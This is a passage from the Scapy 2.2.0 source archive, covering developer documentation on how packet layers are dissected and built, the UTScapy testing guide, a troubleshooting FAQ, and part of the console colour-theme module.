HTTP, sport=80 ) bind_layers( TCP, HTTP, dport=80 ) That's all folks! Now every packet related to port 80 will be associated to the layer ``HTTP``, whether it is read from a pcap file or received from the network. The ``guess_payload_class()`` way ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sometimes, guessing the payload class is not as straightforward as defining a single port. For instance, it can depends on a value of a given byte in the current layer. The 2 needed methods are: - ``guess_payload_class()`` which must return the guessed class for the payload (next layer). By default, it uses links between classes that have been put in place by ``bind_layers()``. - ``default_payload_class()`` which returns the default value. This method defined in the class ``Packet`` returns ``Raw``, but it can be overloaded. For instance, decoding 802.11 changes depending on whether it is ciphered or not:: class Dot11(Packet): def guess_payload_class(self, payload): if self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) Several comments are needed here: - this cannot be done using ``bind_layers()`` because the tests are supposed to be "``field==value``", but it is more complicated here as we test a single bit in the value of a field. - if the test fails, no assumption is made, and we plug back to the default guessing mechanisms calling ``Packet.guess_payload_class()`` Most of the time, defining a method ``guess_payload_class()`` is not a necessity as the same result can be obtained from ``bind_layers()``. Changing the default behavior ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you do not like Scapy's behavior for a given layer, you can either change or disable it through the call to ``split_layer()``. For instance, if you do not want UDP/53 to be bound with ``DNS``, just add in your code: `` split_layers(UDP, DNS, sport=53) `` Now every packet with source port 53 will not be handled as DNS, but whatever you specify instead. Under the hood: putting everything together ------------------------------------------- In fact, each layer has a field payload_guess. When you use the bind_layers() way, it adds the defined next layers to that list. :: >>> p=TCP() >>> p.payload_guess [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] Then, when it needs to guess the next layer class, it calls the default method ``Packet.guess_payload_class()``. This method runs through each element of the list payload_guess, each element being a tuple: - the 1st value is a field to test (``'dport': 2000``) - the 2nd value is the guessed class if it matches (``Skinny``) So, the default ``guess_payload_class()`` tries all element in the list, until one matches. If no element are found, it then calls ``default_payload_class()``. If you have redefined this method, then yours is called, otherwise, the default one is called, and ``Raw`` type is returned. ``Packet.guess_payload_class()`` - test what is in field ``guess_payload`` - call overloaded ``guess_payload_class()`` Building ======== Building a packet is as simple as building each layer. Then, some magic happens to glue everything. Let's do magic then. The basic stuff --------------- First thing to establish: what does "build" mean? As we have seen, a layer can be represented in different ways (human, internal, machine). Building means going to the machine format. Second thing to understand is ''when'' a layer is built. Answer is not that obvious, but as soon as you need the machine representation, the layers are built: when the packet is dropped on the network or written to a file, when it is converted as a string, ... In fact, machine representation should be regarded as a big string with the layers appended altogether. :: >>> p = IP()/TCP() >>> hexdump(p) 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 0020 50 02 20 00 91 7C 00 00 P. ..|.. Calling ``str()`` builds the packet: - non instanced fields are set to their default value - lengths are updated automatically - checksums are computed - and so on. In fact, using ``str()`` rather than ``show2()`` or any other method is not a random choice as all the functions building the packet calls ``Packet.__str__()``. However, ``__str__()`` calls another method: ``build()``:: def __str__(self): return self.__iter__().next().build() What is important also to understand is that usually, you do not care about the machine representation, that is why the human and internal representations are here. So, the core method is ``build()`` (the code has been shortened to keep only the relevant parts):: def build(self,internal=0): pkt = self.do_build() pay = self.build_payload() p = self.post_build(pkt,pay) if not internal: pkt = self while pkt.haslayer(Padding): pkt = pkt.getlayer(Padding) p += pkt.load pkt = pkt.payload return p So, it starts by building the current layer, then the payload, and ``post_build()`` is called to update some late evaluated fields (like checksums). Last, the padding is added to the end of the packet. Of course, building a layer is the same as building each of its fields, and that is exactly what ``do_build()`` does. Building fields --------------- The building of each field of a layer is called in ``Packet.do_build()``:: def do_build(self): p="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f)) return p The core function to build a field is ``addfield()``. It takes the internal view of the field and put it at the end of ``p``. Usually, this method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where ``val=self.getfieldval(f)``). If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the way it must be. For instance, if a byte is expected, ``struct.pack("B", val)`` is the right way to convert it. However, things are more complicated if ``val`` is not set, it means no default value was provided earlier, and thus the field needs to compute some "stuff" right now or later. "Right now" means thanks to ``i2m()``, if all pieces of information is available. For instance, if you have to handle a length until a certain delimiter. Ex: counting the length until a delimiter :: class XNumberField(FieldLenField): def __init__(self, name, default, sep="\r\n"): FieldLenField.__init__(self, name, default, fld) self.sep = sep def i2m(self, pkt, x): x = FieldLenField.i2m(self, pkt, x) return "%02x" % x def m2i(self, pkt, x): return int(x, 16) def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): sep = s.find(self.sep) return s[sep:], self.m2i(pkt, s[:sep]) In this example, in ``i2m()``, if ``x`` has already a value, it is converted to its hexadecimal value. If no value is given, a length of "0" is returned. The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` for each field in the layer, which in turn calls ``Field.i2m()``: the layer is built IF a value was available. Handling default values: ``post_build`` --------------------------------------- A default value for a given field is sometimes either not known or impossible to compute when the fields are put together. For instance, if we used a ``XNumberField`` as defined previously in a layer, we expect it to be set to a given value when the packet is built. However, nothing is returned by ``i2m()`` if it is not set. The answer to this problem is ``Packet.post_build()``. When this method is called, the packet is already built, but some fields still need to be computed. This is typically what is required to compute checksums or lengths. In fact, this is required each time a field's value depends on something which is not in the current So, let us assume we have a packet with a ``XNumberField``, and have a look to its building process:: class Foo(Packet): fields_desc = [ ByteField("type", 0), XNumberField("len", None, "\r\n"), StrFixedLenField("sep", "\r\n", 2) ] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[2:]+ p[2:] return p+pay When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, that is what has already been built. We want our length to be the full length of the data put after the separator, so we add its computation in ``post_build()``. :: >>> p = Foo()/("X"*32) >>> p.show2() ###[ Foo ]### type= 0 len= 32 sep= '\r\n' ###[ Raw ]### load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' ``len`` is correctly computed now:: >>> hexdump(str(p)) 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 0020 58 58 58 58 58 XXXXX And the machine representation is the expected one. Handling default values: automatic computation ---------------------------------------------- As we have previously seen, the dissection mechanism is built upon the links between the layers created by the programmer. However, it can also be used during the building process. In the layer ``Foo()``, our first byte is the type, which defines what comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer is ``Bar1``, and so on. We would like then this field to be set automatically according to what comes next. :: class Bar1(Packet): fields_desc = [ IntField("val", 0), ] class Bar2(Packet): fields_desc = [ IPField("addr", "127.0.0.1") ] If we use these classes with nothing else, we will have trouble when dissecting the packets as nothing binds Foo layer with the multiple ``Bar*`` even when we explicitly build the packet through the call to ``show2()``:: >>> p = Foo()/Bar1(val=1337) >>> p > >>> p.show2() ###[ Foo ]### type= 0 len= 4 sep= '\r\n' ###[ Raw ]### load= '\x00\x00\x059' Problems: 1. ``type`` is still equal to 0 while we wanted it to be automatically set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` but this is not very convenient. 2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This is because no links have been set between ``Foo()`` and ``Bar*()``. In order to understand what we should have done to obtain the proper behavior, we must look at how the layers are assembled. When two independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are compounded with the '/' operator, it results in a new packet where the two previous instances are cloned (i.e. are now two distinct objects structurally different, but holding the same values):: def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/Raw(load=other) The right hand side of the operator becomes the payload of the left hand side. This is performed through the call to ``add_payload()``. Finally, the new packet is returned. Note: we can observe that if other isn't a ``Packet`` but a string, the ``Raw`` class is instantiated to form the payload. Like in this example:: >>> IP()/"AAAA" > Well, what ``add_payload()`` should implement? Just a link between two packets? Not only, in our case this method will appropriately set the correct value to ``type``. Instinctively we feel that the upper layer (the right of '/') can gather the values to set the fields to the lower layer (the left of '/'). Like previously explained, there is a convenient mechanism to specify the bindings in both directions between two neighbouring layers. Once again, these information must be provided to ``bind_layers()``, which will internally call ``bind_top_down()`` in charge to aggregate the fields to overload. In our case what we needs to specify is:: bind_layers( Foo, Bar1, {'type':1} ) bind_layers( Foo, Bar2, {'type':2} ) Then, ``add_payload()`` iterates over the ``overload_fields`` of the upper packet (the payload), get the fields associated to the lower packet (by its type) and insert them in ``overloaded_fields``. For now, when the value of this field will be requested, ``getfieldval()`` will return the value inserted in ``overloaded_fields``. The fields are dispatched between three dictionaries: - ``fields``: fields whose the value have been explicitly set, like ``pdst`` in TCP (``pdst='42'``) - ``overloaded_fields``: overloaded fields - ``default_fields``: all the fields with their default value (these fields are initialized according to ``fields_desc`` by the constructor by calling ``init_fields()`` ). In the following code we can observe how a field is selected and its value returned:: def getfieldval(self, attr): for f in self.fields, self.overloaded_fields, self.default_fields: if f.has_key(attr): return f[attr] return self.payload.getfieldval(attr) Fields inserted in ``fields`` have the higher priority, then ``overloaded_fields``, then finally ``default_fields``. Hence, if the field ``type`` is set in ``overloaded_fields``, its value will be returned instead of the value contained in ``default_fields``. We are now able to understand all the magic behind it! :: >>> p = Foo()/Bar1(val=0x1337) >>> p > >>> p.show() ###[ Foo ]### type= 1 len= 4 sep= '\r\n' ###[ Bar1 ]### val= 4919 Our 2 problems have been solved without us doing much: so good to be lazy :) Under the hood: putting everything together ------------------------------------------- Last but not least, it is very useful to understand when each function is called when a packet is built:: >>> hexdump(str(p)) Packet.str=Foo Packet.iter=Foo Packet.iter=Bar1 Packet.build=Foo Packet.build=Bar1 Packet.post_build=Bar1 Packet.post_build=Foo As you can see, it first runs through the list of each field, and then build them starting from the beginning. Once all layers have been built, it then calls ``post_build()`` starting from the end. Fields ====== .. index:: single: fields Here's a list of fields that Scapy supports out of the box: Simple datatypes ---------------- Legend: - ``X`` - hexadecimal representation - ``LE`` - little endian (default is big endian = network byte order) - ``Signed`` - signed (default is unsigned) :: ByteField XByteField ShortField LEShortField XShortField X3BytesField # three bytes (in hexad IntField SignedIntField LEIntField LESignedIntField XIntField LongField XLongField LELongField IEEEFloatField IEEEDoubleField BCDFloatField # binary coded decimal BitField XBitField BitFieldLenField # BitField specifying a length (used in RTP) FlagsField FloatField Enumerations ------------ Possible field values are taken from a given enumeration (list, dictionary, ...) e.g.:: ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) :: EnumField(name, default, enum, fmt = "H") CharEnumField BitEnumField ShortEnumField LEShortEnumField ByteEnumField IntEnumField SignedIntEnumField LEIntEnumField XShortEnumField Strings ------- :: StrField(name, default, fmt="H", remain=0, shift=0) StrLenField(name, default, fld=None, length_from=None, shift=0): StrFixedLenField StrNullField StrStopField Lists and lengths ----------------- :: FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) # A list assembled and dissected with many times the same field type # field: instance of the field that will be used to assemble and disassemble a list item # length_from: name of the FieldLenField holding the list length FieldLenField # holds the list length of a FieldList field LEFieldLenField LenField # contains len(pkt.payload) PacketField # holds packets PacketLenField # used e.g. in ISAKMP_payload_Proposal PacketListField Variable length fields ^^^^^^^^^^^^^^^^^^^^^^ This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value. Problems arise whe you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must substract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words. The length field ~~~~~~~~~~~~~~~~ First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing:: adjust=lambda pkt,x: x For instance, if ``the_varfield`` is a list :: FieldLenField("the_lenfield", None, count_of="the_varfield") or if the length is in 16bits words:: FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) The variable length field ~~~~~~~~~~~~~~~~~~~~~~~~~ A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ... For the two firsts, whe a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) or :: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:: FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) Examples ^^^^^^^^ :: class TestSLF(Packet): fields_desc=[ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] class TestPLF(Packet): fields_desc=[ FieldLenField("len", None, count_of="plist"), PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] class TestFLF(Packet): fields_desc=[ FieldLenField("the_lenfield", None, count_of="the_varfield"), FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) ] class TestPkt(Packet): fields_desc = [ ByteField("f1",65), ShortField("f2",0x4244) ] def extract_padding(self, p): return "", p class TestPLF2(Packet): fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] Test the ``FieldListField`` class:: >>> TestFLF("\x00\x02ABCDEFGHIJKL") > Special ------- :: Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), ActionField ConditionalField(fld, cond) # Wrapper to make field 'fld' only appear if # function 'cond' evals to True, e.g. # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) PadField(fld, align, padwith=None) # Add bytes after the proxified field so that it ends at # the specified alignment from its beginning TCP/IP ------ :: IPField SourceIPField IPoptionsField TCPOptionsField MACField DestMACField(MACField) SourceMACField(MACField) ARPSourceMACField(MACField) ICMPTimeStampField 802.11 ------ :: Dot11AddrMACField Dot11Addr2MACField Dot11Addr3MACField Dot11Addr4MACField Dot11SCField DNS --- :: DNSStrField DNSRRCountField DNSRRField DNSQRField RDataField RDLenField ASN.1 ----- :: ASN1F_element ASN1F_field ASN1F_INTEGER ASN1F_enum_INTEGER ASN1F_STRING ASN1F_OID ASN1F_SEQUENCE ASN1F_SEQUENCE_OF ASN1F_PACKET ASN1F_CHOICE Other protocols --------------- :: NetBIOSNameField # NetBIOS (StrFixedLenField) ISAKMPTransformSetField # ISAKMP (StrLenField) TimeStampField # NTP (BitField) scapy-2.2.0/doc/scapy/README0000644000175000017500000000132111172130104013467 0ustar pbipbiThis folder includes source files (text and graphics) for Scapy's documentation, which is automatically built using Sphinx The *.rst files are written as reStructuredText and should be quite readable in your favourite text editor without any further formatting. To generate much nicer, searchable HTML docs, install Sphinx, open a command line, change to the directory where this README is placed, and type the following command: $ make html To generate a single PDF file (useful for printing) you need a working LaTeX installation (e.g. ). The following commands produce the file Scapy.pdf (>100 pages): $ make latex $ cd _build/latex $ make all-pdfscapy-2.2.0/doc/scapy/development.rst0000644000175000017500000002560511170743163015713 0ustar pbipbi***************** Scapy development ***************** Project organization ==================== Scapy development uses the Mercurial version control system. Scapy's reference repository is at http://hg.secdev.org/scapy/. Project management is done with `Trac `_. Trac works on Scapy's reference repository. It provides a freely editable `Wiki `_ (please contribute!) that can reference tickets, changesets, files from the project. It also provides a ticket management service that is used to avoid forgetting patches or bugs. Mercurial's distributed way of working enables Philippe to provide two repositories where anybody can commit stuff: the Scapy `community repository `_ and the Scapy `Windows port repository `_. How to contribute ================= * Found a bug in Scapy? `Add a ticket `_. * Improve this documentation. * Program a new layer and share it on the mailing list. Or add it as an enhancement on the bugtracker. * Contribute new `regression tests `_. * Upload packet samples for new protocols on the `packet samples page `_. Testing with UTScapy ==================== What is UTScapy? ---------------- UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping. For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. Syntax of a Test Campaign ------------------------- Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. ================ ================= Syntax Specifier Definition ================ ================= ‘%’ Give the test campaign's name. ‘+’ Announce a new test set. ‘=’ Announce a new unit test. ‘~’ Announce keywords for the current unit test. ‘*’ Denotes a comment that will be included in the report. ‘#’ Testcase annotations that are discarded by the interpreter. ================ ================= Table 1 - UTScapy Syntax Specifiers Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test. The generic format for a test campaign is shown in the following table:: % Test Campaign Name * Comment describing this campaign + Test Set 1 * comments for test set 1 = Unit Test 1 ~ keywords * Comments for unit test 1 # Python statements follow a = 1 print a a == 1 Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debugâ€. Once the tests run successfully to their desired conclusion, the keyword “debug†could be removed. Keywords such as “regression†or “limited†could be used as well. It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: [root@localhost scapy]# ./UTscapy.py –h Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] -l : generate local files -F : expand only failed tests -d : dump campaign -D : dump campaign and stop -C : don't calculate CRC and SHA -q : quiet mode -qq : [silent mode] -n : only tests whose numbers are given (eg. 1,3-7,12) -m : additional module to put in the namespace -k ,,... : include only tests with one of those keywords (can be used many times) -K ,,... : remove tests with one of those keywords (can be used many times) Table 3 - UTScapy command line syntax All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from . Similarly, if no output file is specified it is directed to . The default output format is “ansiâ€. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. ========== ============== ============================================================================= Argument Argument Value Meaning to UTScapy ========== ============== ============================================================================= -t testfile Input test file defining test campaign (default = ) -o output_file File for output of test campaign results (default = ) -f test ansi, HTML, LaTeX, Format out output report (default = ansi) -l Generate report associated files locally. For HTML, generates JavaScript and the style sheet -F Failed test cases will be initially expanded by default in HTML output -d Print a terse listing of the campaign before executing the campaign -D Print a terse listing of the campaign and stop. Do not execute campaign -C Do not calculate test signatures -q Do not update test progress to the screen as tests are executed -qq Silent mode -n testnum Execute only those tests listed by number. Test numbers may be retrieved using –d or –D. Tests may be listed as a comma separated list and may include ranges (e.g. 1, 3-7, 12) -m module Load module before executing tests. Useful in testing derived works of Scapy. Note: Derived works that are intended to execute as "__main__" will not be invoked by UTScapy as “__main__â€. -k kw1, kw2, ... Include only tests with keyword “kw1â€. Multiple keywords may be specified. -K kw1, kw2, ... Exclude tests with keyword “kw1â€. Multiple keywords may be specified. ========== ============== ============================================================================= Table 4 - UTScapy parameters Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. :: % Example Test Campaign # Comment describing this campaign # # To run this campaign, try: # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F # * This comment is associated with the test campaign and will appear * in the produced output. + Test Set 1 = Unit Test 1 ~ test_set_1 simple a = 1 print a = Unit test 2 ~ test_set_1 simple * this test will fail b = 2 a == b = Unit test 3 ~ test_set_1 harder a = 1 b = 2 c = "hello" assert (a != b) c == "hello" + Test Set 2 = Unit Test 4 ~ test_set_2 harder b = 2 d = b d is b = Unit Test 5 ~ test_set_2 harder hardest a = 2 b = 3 d = 4 e = (a * b)**d # The following statement evaluates to False but is not last; continue e == 6 # assert evaluates to False; stop test and fail assert (e == 7) e == 1296 = Unit Test 6 ~ test_set_2 hardest print e e == 1296 To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: ./UTscapy.py -t demo_campaign.txt -f html -o demo_campaign.html –F -l Examine the output generated in file ``demo_campaign.html``. scapy-2.2.0/doc/scapy/_static/0000755000175000017500000000000011532602317014252 5ustar pbipbiscapy-2.2.0/doc/scapy/_static/_dummy0000644000175000017500000000000011170743162015457 0ustar pbipbiscapy-2.2.0/doc/scapy/troubleshooting.rst0000644000175000017500000000630611170743163016615 0ustar pbipbi*************** Troubleshooting *************** FAQ === My TCP connections are reset by Scapy or by my kernel. ------------------------------------------------------ The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface --------------------------------------------------------------------------------------- The loopback interface is a very special interface. Packets going through it are not really assembled and dissassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems that Linux):: >>> conf.L3socket >>> conf.L3socket=L3RawSocket >>> sr1(IP(dst="127.0.0.1")/ICMP()) > BPF filters do not work. I'm on a ppp link ------------------------------------------ This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). traceroute() does not work. I'm on a ppp link --------------------------------------------- This is a known bug. See BPF filters do not work. I'm on a ppp link To work arround this, use ``nofilter=1``:: >>> traceroute("target", nofilter=1) Graphs are ugly/fonts are too big/image is truncated. ----------------------------------------------------- Quick fix: use png format:: >>> x.graph(format="png") Upgrade to latest version of GraphViz. Try providing different DPI options (50,70,75,96,101,125, for instance):: >>> x.graph(options="-Gdpi=70") If it works, you can make it permanenent:: >>> conf.prog.dot = "dot -Gdpi=70" You can also put this line in your ``~/.scapy_startup.py`` file Getting help ============ Common problems are answered in the FAQ. There's a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive `_, `RSS, NNTP `_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. To avoid spam, you must subscribe to the mailing list to post.scapy-2.2.0/scapy/0000755000175000017500000000000011532602317012057 5ustar pbipbiscapy-2.2.0/scapy/themes.py0000644000175000017500000002404411430356077013730 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Color themes for the interactive console. """ ################## ## Color themes ## ################## class Color: normal = "\033[0m" black = "\033[30m" red = "\033[31m" green = "\033[32m" yellow = "\033[33m" blue = "\033[34m" purple = "\033[35m" cyan = "\033[36m" grey = "\033[37m" bold = "\033[1m" uline = "\033[4m" blink = "\033[5m" invert = "\033[7m" def create_styler(fmt=None, before="", after="", fmt2="%s"): def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2): if fmt is None: if type(val) is not str: val = str(val) else: val = fmt % val return fmt2 % (before+val+after) return do_style class ColorTheme: def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): return create_styler() class NoTheme(ColorTheme): pass class AnsiColorTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) s = "style_%s" % attr if s in self.__class__.__dict__: before = getattr(self, s) after = self.style_normal else: before = after = "" return create_styler(before=before, after=after) style_normal = "" style_prompt = "" style_punct = "" style_id = "" style_not_printable = "" style_layer_name = "" style_field_name = "" style_field_value = "" style_emph_field_name = "" style_emph_field_value = "" style_packetlist_name = "" style_packetlist_proto = "" style_packetlist_value = "" style_fail = "" style_success = "" style_odd = "" style_even = "" style_opening = "" style_active = "" style_closed = "" style_left = "" style_right = "" class BlackAndWhite(AnsiColorTheme): pass class DefaultTheme(AnsiColorTheme): style_normal = Color.normal style_prompt = Color.blue+Color.bold style_punct = Color.normal style_id = Color.blue+Color.bold style_not_printable = Color.grey style_layer_name = Color.red+Color.bold style_field_name = Color.blue style_field_value = Color.purple style_emph_field_name = Color.blue+Color.uline+Color.bold style_emph_field_value = Color.purple+Color.uline+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.blue style_packetlist_value = Color.purple style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_opening = Color.yellow style_active = Color.black style_closed = Color.grey style_left = Color.blue+Color.invert style_right = Color.red+Color.invert class BrightTheme(AnsiColorTheme): style_normal = Color.normal style_punct = Color.normal style_id = Color.yellow+Color.bold style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.purple+Color.bold style_emph_field_name = Color.yellow+Color.bold style_emph_field_value = Color.green+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_left = Color.cyan+Color.invert style_right = Color.purple+Color.invert class RastaTheme(AnsiColorTheme): style_normal = Color.normal+Color.green+Color.bold style_prompt = Color.yellow+Color.bold style_punct = Color.red style_id = Color.green+Color.bold style_not_printable = Color.green style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.green+Color.bold style_emph_field_name = Color.green style_emph_field_value = Color.green style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.green+Color.bold style_fail = Color.red style_success = Color.red+Color.bold style_even = Color.yellow style_odd = Color.green style_left = Color.yellow+Color.invert style_right = Color.red+Color.invert class ColorOnBlackTheme(AnsiColorTheme): """Color theme for black backgrounds""" style_normal = Color.normal style_prompt = Color.green+Color.bold style_punct = Color.normal style_id = Color.green style_not_printable = Color.black+Color.bold style_layer_name = Color.yellow+Color.bold style_field_name = Color.cyan style_field_value = Color.purple+Color.bold style_emph_field_name = Color.cyan+Color.bold style_emph_field_value = Color.red+Color.bold style_packetlist_name = Color.black+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.green style_even = Color.black+Color.bold style_odd = Color.grey style_opening = Color.yellow style_active = Color.grey+Color.bold style_closed = Color.black+Color.bold style_left = Color.cyan+Color.bold style_right = Color.red+Color.bold class FormatTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") return create_styler(fmt2 = colfmt) class LatexTheme(FormatTheme): style_prompt = r"\textcolor{blue}{%s}" style_not_printable = r"\textcolor{gray}{%s}" style_layer_name = r"\textcolor{red}{\bf %s}" style_field_name = r"\textcolor{blue}{%s}" 